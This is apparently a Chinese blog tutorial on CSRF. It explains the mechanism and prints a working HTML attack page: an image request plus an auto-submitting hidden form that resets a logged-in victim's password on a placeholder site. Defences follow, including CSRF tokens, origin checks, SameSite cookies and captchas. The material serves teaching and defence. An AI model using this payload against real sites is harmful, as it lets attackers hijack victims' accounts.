• 网络安全:发起一次CSRF攻击!


    一、如何发起一次CSRF攻击

    原理:CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性,通过伪造请求来执行恶意操作。

    1、目标网站信息:

    接口地址:https://victim.com/change-password
    请求类型:get/post
    接受参数:password
    
    • 1
    • 2
    • 3

    2、编写一个网页

    DOCTYPE html>
    <html>
    	<body>
    		
    		<img src="https://victim.com/change-password?password=vme50">
    		
    		 <form action="https://victim.com/change-password" method=POST>
    		    <input type="hidden" name="password" value="vme50" />
    		form>
    		<script> document.forms[0].submit(); script> 
    	body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    3、诱导用户打开我们的网页

    用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值

    二、防护策略

    1、使用 CSRF Token(推荐):

    在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。
    服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。
    这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。

    2、同源检测:

    ① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源
    ② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求
    ③ 对在本域发起的攻击无效

    3、设置 SameSite Cookie 属性:

    将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。

    4、二次确认

    ① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的

  • 相关阅读:
    React 生命周期
    laravel Log 日志
    【Spring系列】- 手写模拟Spring框架
    STM32为什么不能跑Linux?
    java 企业工程管理系统软件源码+Spring Cloud + Spring Boot +二次开发+ MybatisPlus + Redis
    【Qt】QTextCursor
    R语言方差分析的注意事项
    servlet交互过程图详解,servlet的常见问题,创建web项目(一)
    【MySQL】数据库机房架构与跨城容灾详解(实战篇)(MySQL专栏启动)
    什么是线程池?
  • 原文地址:https://blog.csdn.net/weixin_41981909/article/details/133646525